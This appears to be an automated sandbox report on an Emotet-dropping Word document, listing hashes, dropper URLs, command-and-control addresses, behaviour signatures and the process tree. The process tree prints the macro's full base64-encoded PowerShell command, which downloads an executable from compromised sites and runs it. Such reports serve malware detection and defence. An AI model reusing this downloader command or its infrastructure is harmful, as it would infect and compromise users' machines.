Analysis
-
max time kernel
146s -
max time network
93s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
01-08-2020 19:37
General
-
Target
SecuriteInfo.com.W97M.DownLoader.4729.14228.5024.doc
-
Size
172KB
-
MD5
f9b91fee08c01f6cbc69baac3afd1e06
-
SHA1
359e86979b15d729410850b99e749f8887cbe171
-
SHA256
55d4a00cac25d7c4b8a9313a5e777051554443c4dd24d9ef43299a6cfee82284
-
SHA512
89ce60ad2536fd9638ce653f7dbebe1d2ca350acd902282f848436862da58e24a054c1864180a4bd33054c8b28e16a1decef0855bf2dfad23fda2c5ead551bdc
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://jambino.us/tv/DYsPb/
exe.dropper
http://www.kappetijn.eu/wp-admin/t5Uujywz88/
exe.dropper
http://killingworthlabs.com/wp-admin/n3tq5u168132549/
exe.dropper
http://kevinley.com/logon/LXkUb/
exe.dropper
http://movewithketty.com/cgi-bin/HISOotVOG/
Extracted
Family
emotet
C2
187.64.128.197:80
198.57.203.63:8080
163.172.107.70:8080
212.112.113.235:80
157.7.164.178:8081
181.167.35.84:80
212.156.133.218:80
185.142.236.163:443
181.143.101.19:8080
75.127.14.170:8080
115.165.3.213:80
190.55.233.156:80
139.59.12.63:8080
144.139.91.187:80
37.70.131.107:80
181.113.229.139:443
41.185.29.128:8080
177.37.81.212:443
5.79.70.250:8080
78.188.170.128:80
rsa_pubkey.plain
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
-
Modifies registry class 280 IoCs
-
Drops file in System32 directory 2 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
-
Blacklisted process makes network request 2 IoCs
-
Executes dropped EXE 2 IoCs
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W97M.DownLoader.4729.14228.5024.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAFEAQQBJAFcAcwB2AHUAPQAnAEUAVwBGAEYARABtAGQAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAUgBpAFQAWQBQAGAAUgBgAG8AVABvAGAAYwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABDAEcASwBaAFIAZgBqAG4AIAA9ACAAJwA3ADAAMQAnADsAJABLAEEAQwBIAEsAcwB1AHQAPQAnAFgARABYAEkAWQBqAGoAZAAnADsAJABZAFMAUwBYAEgAbQBqAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEMARwBLAFoAUgBmAGoAbgArACcALgBlAHgAZQAnADsAJABQAFcAQQBCAE0AaABlAHYAPQAnAFcAQwBYAFcAUABuAGcAYwAnADsAJABPAFIATQBFAEYAeQBhAGsAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAGIAYwBMAEkARQBOAHQAOwAkAEgASQBQAFEAQgBqAHgAYQA9ACcAaAB0AHQAcAA6AC8ALwBqAGEAbQBiAGkAbgBvAC4AdQBzAC8AdAB2AC8ARABZAHMAUABiAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AawBhAHAAcABlAHQAaQBqAG4ALgBlAHUALwB3AHAALQBhAGQAbQBpAG4ALwB0ADUAVQB1AGoAeQB3AHoAOAA4AC8AKgBoAHQAdABwADoALwAvAGsAaQBsAGwAaQBuAGcAdwBvAHIAdABoAGwAYQBiAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG4AMwB0AHEANQB1ADEANgA4ADEAMwAyADUANAA5AC8AKgBoAHQAdABwADoALwAvAGsAZQB2AGkAbgBsAGUAeQAuAGMAbwBtAC8AbABvAGcAbwBuAC8ATABYAGsAVQBiAC8AKgBoAHQAdABwADoALwAvAG0AbwB2AGUAdwBpAHQAaABrAGUAdAB0AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBIAEkAUwBPAG8AdABWAE8ARwAvACcALgAiAFMAUABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBJAFEAUABCAHkAZAB4AD0AJwBHAE4ASABWAFUAaQBpAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFgAVQBEAFMATABnAGEAdAAgAGkAbgAgACQASABJAFAAUQBCAGoAeABhACkAewB0AHIAeQB7ACQATwBSAE0ARQBGAHkAYQBrAC4AIgBkAG8AVwBOAGAATABPAGEAYABEAEYAaQBMAGUAIgAoACQAWABVAEQAUwBMAGcAYQB0ACwAIAAkAFkAUwBTAFgASABtAGoAcgApADsAJABEAEkATwBVAEMAcABoAHgAPQAnAFUAQQBPAEsAQwB2AG4AdQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFkAUwBTAFgASABtAGoAcgApAC4AIgBMAGAARQBOAGcAdABoACIAIAAtAGcAZQAgADMANQA5ADMAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBgAFIARQBgAEEAVABlACIAKAAkAFkAUwBTAFgASABtAGoAcgApADsAJABaAFYAQgBYAE8AZwB5AGgAPQAnAEIASQBQAE8AQwByAGMAdQAnADsAYgByAGUAYQBrADsAJABUAEcAQQBJAEQAaQBpAHgAPQAnAFYASwBNAEkAWgBuAGQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAEsAWgBPAEQAaABkAHcAPQAnAEYATABMAFQAQQBiAGYAYgAnAA==1⤵
- Process spawned unexpected child process
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
-
C:\Users\Admin\701.exeC:\Users\Admin\701.exe1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
-
C:\Windows\SysWOW64\neth\KBDLV1.exe"C:\Windows\SysWOW64\neth\KBDLV1.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\701.exe
-
C:\Users\Admin\701.exe
-
C:\Windows\SysWOW64\neth\KBDLV1.exe
-
memory/828-11-0x0000000000000000-mapping.dmp
-
memory/828-13-0x0000000000370000-0x000000000037C000-memory.dmpFilesize
48KB
-
memory/872-10-0x00000000002B0000-0x00000000002BC000-memory.dmpFilesize
48KB
-
memory/1332-2-0x00000000088A0000-0x00000000088A4000-memory.dmpFilesize
16KB
-
memory/1332-5-0x000000000AD90000-0x000000000AD94000-memory.dmpFilesize
16KB
-
memory/1332-6-0x000000000BE10000-0x000000000BE14000-memory.dmpFilesize
16KB